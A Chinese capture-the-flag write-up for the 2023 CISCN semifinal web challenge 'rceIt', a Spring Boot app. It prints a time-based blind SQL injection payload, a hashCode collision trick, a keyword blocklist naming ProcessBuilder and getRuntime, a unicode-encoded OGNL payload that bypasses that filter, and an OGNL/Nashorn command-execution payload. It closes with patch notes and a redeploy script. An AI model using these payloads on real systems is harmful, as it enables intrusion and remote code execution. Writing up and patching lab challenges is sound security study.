2023年CISCN华东南半决赛Web rceIt 题解

在现场,没做出来,比完赛在动车上做的,有些点写的可能不是很好,请谅解

img

Attack

题目是一个Spring Boot框架,结合题目提示和题目界面,猜测要让我们注出登陆用户名,然后进行下一步操作

第一个漏洞点是SQL注入

1
2
3
4
5
6
7
8
9
10
11
public String getUserByName(String name){
String s = new SQL() {
{
SELECT("*");
FROM("users");
WHERE("username='"+name+"'");
}
}.toString();
System.out.println("\n\n" + s + "\n\n");
return s;
}

简单的闭合,但是过滤了大多数查询语句,select、insert、啥的,在FilterUtil类里可以看到

img

但唯独没有过滤sleep,猜测是延时盲注,报错不太可能,他这一报服务就500,所以直接盲注构造SQL语句写个脚本跑一下就完事了

1
admin')&&/**/sleep(2*(ascii(substr(database(),"+str(i)+",1))/**/REGEXP/**/"+str(j)+"))#

这里注出来一个用户名,为 **C1S3N_HUa_D_N_41NaL!**,登陆进去后跳到一个留言板,在63行有一个hashCode比较漏洞,和虎符那题一摸一样,所以我们只要构造一个简单的式子让他们内容不相等但hashCode相等即可

参考这个式子,自己逆推一下即可

1
s[0]*31^(n-1) + s[1]*31^(n-2) + ... + s[n-1]

img

比如给了0306,计算后的hash就是1\x1406

然后填上message和name就可以留言了,这里有个很恶心的点,就是服务报错的话会重新更新一个secret值

然后就是表达式利用了,mybatis可以直接执行ognl表达式,具体利用方法可以看这篇文章,[OGNL表达式注入漏洞总结 Mi1k7ea ]

1
${@[类全名(包括包路径)]@[方法名|值名]}

可以先构造个延时看看存不存在表达式注入

1
@[email protected](2)

但是这里过滤了一大堆java语句,这个很好绕过直接unicode全编码就完事了,这样keyFilter就没有用了

img

“framework”,”getClass”,”ClassLoader”,”update”,”values”,”set”,”ProcessBuilder”,”thymeleaf”,”mybatis”,”wrapAsAPI”,”getRuntime”,”exec”,”getStaticModels”,”spring”, “Runtime”,”select”,”java”,”WHERE”,”delete”, “drop”, “truncate”,”invoke”,”Manage”,”script”, “gson”,”mysql”,”org”,”Gson”,”com”,”lang”

1
${\u0040\u006A\u0061\u0076\u0061\u002E\u0075\u0074\u0069\u006C\u002E\u0063\u006F\u006E\u0063\u0075\u0072\u0072\u0065\u006E\u0074\u002E\u0054\u0069\u006D\u0065\u0055\u006E\u0069\u0074\u0040\u0053\u0045\u0043\u004F\u004E\u0044\u0053\u002E\u0073\u006C\u0065\u0065\u0070\u0028\u0032\u0029}

img

然后rce读根目录下的flag即可,注意,这里版本是jdk1.8,20版本执行下面语句好像会报空指针异常

1
${new+javax.script.ScriptEngineManager().getEngineByName("nashorn").eval('(new+java.io.BufferedReader(new+java.io.InputStreamReader(new+java.lang.ProcessBuilder("calc").start().getInputStream(),+"GBK")).readLine())')}

img

Fix

因为题目是用Spring Boot搭的,所以很好打包,基本上直接替换即可,然后传个war包,打包有两种解决办法,一种是解压替换war包里边的字节码文件(要手动编译),另外一种是IDEA的Build Artifacts,两种都能顺利patch成功,看个人习惯()

这题很好fix,sql就过滤个sleep,表达式就过滤个eval,实在不行就上个通防,都可以过的

1
2
3
4
#!/bin/sh
mv -f ROOT.war /opt/tomcat/webapps/ROOT.war
sh /opt/tomcat/bin/shutdown.sh
nohup sh /opt/tomcat/bin/catalina.sh run > myout.txt 2>&1 &

img

作者

IceCliffs

发布于

2023-06-25

更新于

2023-10-28

许可协议

评论